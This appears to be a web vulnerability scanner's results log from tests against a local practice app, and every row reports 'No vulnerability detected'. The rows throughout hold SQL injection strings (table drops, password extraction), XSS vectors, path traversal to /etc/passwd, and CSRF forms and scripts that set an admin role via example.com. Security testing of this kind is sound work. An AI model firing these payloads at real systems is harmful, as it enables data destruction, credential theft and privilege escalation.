csrf	http://localhost:8000/vulnerabilities/captcha	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/exec	' OR '1'='1	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/exec	' OR 1=1 --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/exec	' OR 'a'='a	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/exec	'; DROP TABLE users; --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/exec	' OR '1'='1' /*	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/exec	' OR '1'='1' ({	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/exec	admin' --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/exec	' OR '1'='1' #	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/exec	1' OR sleep(5)--	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/exec	' UNION SELECT NULL, NULL, NULL --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/exec	' AND 1=2 UNION SELECT 1,2,3 --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/exec	' OR EXISTS(SELECT * FROM users) --	No vulnerability detected	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/exec	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/exec	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/exec	<script>alert('XSS')</script>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/exec	'"><script>alert('XSS')</script>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/exec	<img src=x onerror=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/exec	<svg/onload=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/exec	<iframe src='javascript:alert("XSS")'></iframe>	No vulnerability detected	200	0.01s

xss	http://localhost:8000/vulnerabilities/exec	<body onload=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/exec	<details open ontoggle=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/exec	<input autofocus onfocus=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/exec	<video><source onerror=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/exec	Click	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/exec	<p/onclick=alert(/XSS/)>a	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/exec	<script>$=1,alert($)</script>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/exec	<script>alert(1)	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/exec	<script>alert(1)<!--XSS	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/exec	"><svg/onload=confirm(1)>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/exec	<math><mtext></mtext><script>alert('XSS')</script></math>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/exec	<button form=test onformchange=alert(1)>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/exec	<form><button formaction="javascript:alert(1)">	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/exec	<details ontoggle=alert('XSS') open>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/exec	'"><svg/onload=confirm(1)>	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/exec	../../etc/passwd	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/exec	..%2f..%2fetc%2fpasswd	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/exec	..₩..₩windows₩system32₩drivers₩etc₩hosts	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/exec	..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/exec	Click Me	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/exec	<img src='http://example.com/api/setusername?username=CSRFd'>	No vulnerability detected	200	0.02s

csrf	http://localhost:8000/vulnerabilities/exec	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/exec	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/exec	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/exec	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/exec	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	No vulnerability detected	200	0.01s

csrf	http://localhost:8000/vulnerabilities/exec	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/setup.php	' OR '1'='1	No vulnerability detected	200	0.11s
sql_injection	http://localhost:8000/setup.php	' OR 1=1 --	No vulnerability detected	200	0.15s
sql_injection	http://localhost:8000/setup.php	' OR 'a'='a	No vulnerability detected	200	0.18s
sql_injection	http://localhost:8000/setup.php	'; DROP TABLE users; --	No vulnerability detected	200	0.17s
sql_injection	http://localhost:8000/setup.php	' OR '1'='1' /*	No vulnerability detected	200	0.16s
sql_injection	http://localhost:8000/setup.php	' OR '1'='1' ({	No vulnerability detected	200	0.15s
sql_injection	http://localhost:8000/setup.php	admin' --	No vulnerability detected	200	0.16s
sql_injection	http://localhost:8000/setup.php	' OR '1'='1' #	No vulnerability detected	200	0.22s
sql_injection	http://localhost:8000/setup.php	1' OR sleep(5)--	No vulnerability detected	200	0.19s
sql_injection	http://localhost:8000/setup.php	' UNION SELECT NULL, NULL, NULL --	No vulnerability detected	200	0.16s
sql_injection	http://localhost:8000/setup.php	' AND 1=2 UNION SELECT 1,2,3 --	No vulnerability detected	200	0.16s
sql_injection	http://localhost:8000/setup.php	' OR EXISTS(SELECT * FROM users) --	No vulnerability detected	200	0.16s
sql_injection	http://localhost:8000/setup.php	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	No vulnerability detected	200	0.15s
sql_injection	http://localhost:8000/setup.php	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	No vulnerability detected	200	0.22s
xss	http://localhost:8000/setup.php	<script>alert('XSS')</script>	No vulnerability detected	200	0.18s
xss	http://localhost:8000/setup.php	'"><script>alert('XSS')</script>	No vulnerability detected	200	0.16s
xss	http://localhost:8000/setup.php	<img src=x onerror=alert('XSS')>	No vulnerability detected	200	0.15s
xss	http://localhost:8000/setup.php	<svg/onload=alert('XSS')>	No vulnerability detected	200	0.19s
xss	http://localhost:8000/setup.php	<iframe src='javascript:alert("XSS")'></iframe>	No vulnerability detected	200	0.15s

xss	http://localhost:8000/setup.php	<body onload=alert('XSS')>	No vulnerability detected	200	0.16s
xss	http://localhost:8000/setup.php	<details open ontoggle=alert('XSS')>	No vulnerability detected	200	0.16s
xss	http://localhost:8000/setup.php	<input autofocus onfocus=alert('XSS')>	No vulnerability detected	200	0.18s
xss	http://localhost:8000/setup.php	<video><source onerror=alert('XSS')>	No vulnerability detected	200	0.18s
xss	http://localhost:8000/setup.php	Click	No vulnerability detected	200	0.14s
xss	http://localhost:8000/setup.php	<p/onclick=alert(/XSS/)>a	No vulnerability detected	200	0.19s
xss	http://localhost:8000/setup.php	<script>$=1,alert($)</script>	No vulnerability detected	200	0.20s
xss	http://localhost:8000/setup.php	<script>alert(1)	No vulnerability detected	200	0.14s
xss	http://localhost:8000/setup.php	<script>alert(1)<!--XSS	No vulnerability detected	200	0.24s
xss	http://localhost:8000/setup.php	"><svg/onload=confirm(1)>	No vulnerability detected	200	0.18s
xss	http://localhost:8000/setup.php	<math><mtext></mtext><script>alert('XSS')</script></math>	No vulnerability detected	200	0.16s
xss	http://localhost:8000/setup.php	<button form=test onformchange=alert(1)>	No vulnerability detected	200	0.22s
xss	http://localhost:8000/setup.php	<form><button formaction="javascript:alert(1)">	No vulnerability detected	200	0.21s
xss	http://localhost:8000/setup.php	<details ontoggle=alert('XSS') open>	No vulnerability detected	200	0.15s
xss	http://localhost:8000/setup.php	'"><svg/onload=confirm(1)>	No vulnerability detected	200	0.18s
path_traversal	http://localhost:8000/setup.php	../../etc/passwd	No vulnerability detected	200	0.15s
path_traversal	http://localhost:8000/setup.php	..%2f..%2fetc%2fpasswd	No vulnerability detected	200	0.15s
path_traversal	http://localhost:8000/setup.php	..₩..₩windows₩system32₩drivers₩etc₩hosts	No vulnerability detected	200	0.14s
path_traversal	http://localhost:8000/setup.php	..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts	No vulnerability detected	200	0.13s
csrf	http://localhost:8000/setup.php	Click Me	No vulnerability detected	200	0.14s
csrf	http://localhost:8000/setup.php	<img src='http://example.com/api/setusername?username=CSRFd'>	No vulnerability detected	200	0.15s

csrf	http://localhost:8000/setup.php	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	No vulnerability detected	200	0.25s
csrf	http://localhost:8000/setup.php	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	No vulnerability detected	200	0.19s
csrf	http://localhost:8000/setup.php	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	No vulnerability detected	200	0.17s
csrf	http://localhost:8000/setup.php	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.17s
csrf	http://localhost:8000/setup.php	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	No vulnerability detected	200	0.16s

csrf	http://localhost:8000/setup.php	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.19s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR '1'='1	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR 1=1 --	No vulnerability detected	200	0.05s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR 'a'='a	No vulnerability detected	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	'; DROP TABLE users; --	No vulnerability detected	200	0.05s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR '1'='1' /*	No vulnerability detected	200	0.06s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR '1'='1' ({	No vulnerability detected	200	0.06s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	admin' --	No vulnerability detected	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR '1'='1' #	No vulnerability detected	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	1' OR sleep(5)--	No vulnerability detected	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' UNION SELECT NULL, NULL, NULL --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' AND 1=2 UNION SELECT 1,2,3 --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR EXISTS(SELECT * FROM users) --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	No vulnerability detected	200	0.02s

xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>alert('XSS')</script>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	'"><script>alert('XSS')</script>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<img src=x onerror=alert('XSS')>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<svg/onload=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<iframe src='javascript:alert("XSS")'></iframe>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<body onload=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<details open ontoggle=alert('XSS')>	No vulnerability detected	200	0.13s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<input autofocus onfocus=alert('XSS')>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<video><source onerror=alert('XSS')>	No vulnerability detected	200	0.04s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	Click	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<p/onclick=alert(/XSS/)>a	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>$=1,alert($)</script>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>alert(1)	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>alert(1)<!--XSS	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	"><svg/onload=confirm(1)>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<math><mtext></mtext><script>alert('XSS')</script></math>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<button form=test onformchange=alert(1)>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<form><button formaction="javascript:alert(1)">	No vulnerability detected	200	0.03s

xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<details ontoggle=alert('XSS') open>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	'"><svg/onload=confirm(1)>	No vulnerability detected	200	0.07s
path_traversal	http://localhost:8000/vulnerabilities/cryptography/index.php	../../etc/passwd	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/cryptography/index.php	..%2f..%2fetc%2fpasswd	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/cryptography/index.php	..₩..₩windows₩system32₩drivers₩etc₩hosts	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/cryptography/index.php	..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	Click Me	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<img src='http://example.com/api/setusername?username=CSRFd' >	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	No vulnerability detected	200	0.03s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	No vulnerability detected	200	0.05s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	No vulnerability detected	200	0.02s

csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR '1'='1	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR 1=1 --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR 'a'='a	No vulnerability detected	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	'; DROP TABLE users; --	No vulnerability detected	200	0.05s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR '1'='1' /*	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR '1'='1' ({	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	admin' --	No vulnerability detected	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR '1'='1' #	No vulnerability detected	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	1' OR sleep(5)--	No vulnerability detected	200	0.03s

sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' UNION SELECT NULL, NULL, NULL --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' AND 1=2 UNION SELECT 1,2,3 --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR EXISTS(SELECT * FROM users) --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	No vulnerability detected	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	No vulnerability detected	200	0.04s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>alert('XSS')</script>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	'"><script>alert('XSS')</script>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<img src=x onerror=alert('XSS')>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<svg/onload=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<iframe src='javascript:alert("XSS")'></iframe>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<body onload=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<details open ontoggle=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<input autofocus onfocus=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<video><source onerror=alert('XSS')>	No vulnerability detected	200	0.11s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	Click	No vulnerability detected	200	0.06s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<p/onclick=alert(/XSS/)>a	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>$=1,alert($)</script>	No vulnerability detected	200	0.04s

xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>alert(1)	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>alert(1)<!--XSS	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	"><svg/onload=confirm(1)>	No vulnerability detected	200	0.07s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<math><mtext></mtext><script>alert('XSS')</script></math>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<button form=test onformchange=alert(1)>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<form><button formaction="javascript:alert(1)">	No vulnerability detected	200	0.15s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<details ontoggle=alert('XSS') open>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	'"><svg/onload=confirm(1)>	No vulnerability detected	200	0.03s
path_traversal	http://localhost:8000/vulnerabilities/cryptography/index.php	../../etc/passwd	No vulnerability detected	200	0.03s
path_traversal	http://localhost:8000/vulnerabilities/cryptography/index.php	..%2f..%2fetc%2fpasswd	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/cryptography/index.php	..₩..₩windows₩system32₩drivers₩etc₩hosts	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/cryptography/index.php	..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	Click Me	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<img src='http://example.com/api/setusername?username=CSRFd' >	No vulnerability detected	200	0.03s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	No vulnerability detected	200	0.02s

csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.07s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' OR '1'='1	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' OR 1=1 --	No vulnerability detected	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' OR 'a'='a	No vulnerability detected	200	0.03s

sql_injection	http://localhost:8000/vulnerabilities/cryptography	'; DROP TABLE users; --	No vulnerability detected	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' OR '1'='1' /*	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' OR '1'='1' ({	No vulnerability detected	200	0.05s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	admin' --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' OR '1'='1' #	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	1' OR sleep(5)--	No vulnerability detected	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' UNION SELECT NULL, NULL, NULL --	No vulnerability detected	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' AND 1=2 UNION SELECT 1,2,3 --	No vulnerability detected	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' OR EXISTS(SELECT * FROM users) --	No vulnerability detected	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography	<script>alert('XSS')</script>	No vulnerability detected	200	0.06s
xss	http://localhost:8000/vulnerabilities/cryptography	'"><script>alert('XSS')</script>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/cryptography	<img src=x onerror=alert('XSS')>	No vulnerability detected	200	0.04s
xss	http://localhost:8000/vulnerabilities/cryptography	<svg/onload=alert('XSS')>	No vulnerability detected	200	0.04s
xss	http://localhost:8000/vulnerabilities/cryptography	<iframe src='javascript:alert("XSS")'></iframe>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography	<body onload=alert('XSS')>	No vulnerability detected	200	0.03s

xss	http://localhost:8000/vulnerabilities/cryptography	<details open ontoggle=alert('XSS')>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography	<input autofocus onfocus=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/cryptography	<video><source onerror=alert('XSS')>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography	Click	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography	<p/onclick=alert(/XSS/)>a	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography	<script>$=1,alert($)</script>	No vulnerability detected	200	0.06s
xss	http://localhost:8000/vulnerabilities/cryptography	<script>alert(1)	No vulnerability detected	200	0.05s
xss	http://localhost:8000/vulnerabilities/cryptography	<script>alert(1)<!--XSS	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography	"><svg/onload=confirm(1)>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/cryptography	<math><mtext></mtext><script>alert('XSS')</script></math>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/cryptography	<button form=test onformchange=alert(1)>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography	<form><button formaction="javascript:alert(1)">	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography	<details ontoggle=alert('XSS') open>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/cryptography	'"><svg/onload=confirm(1)>	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/cryptography	../../etc/passwd	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/cryptography	..%2f..%2fetc%2fpasswd	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/cryptography	..₩..₩windows₩system32₩drivers₩etc₩hosts	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/cryptography	..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts	No vulnerability detected	200	0.02s

csrf	http://localhost:8000/vulnerabilities/cryptography	Click Me	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/cryptography	<img src='http://example.com/api/setusername?username=CSRFd' >	No vulnerability detected	200	0.05s
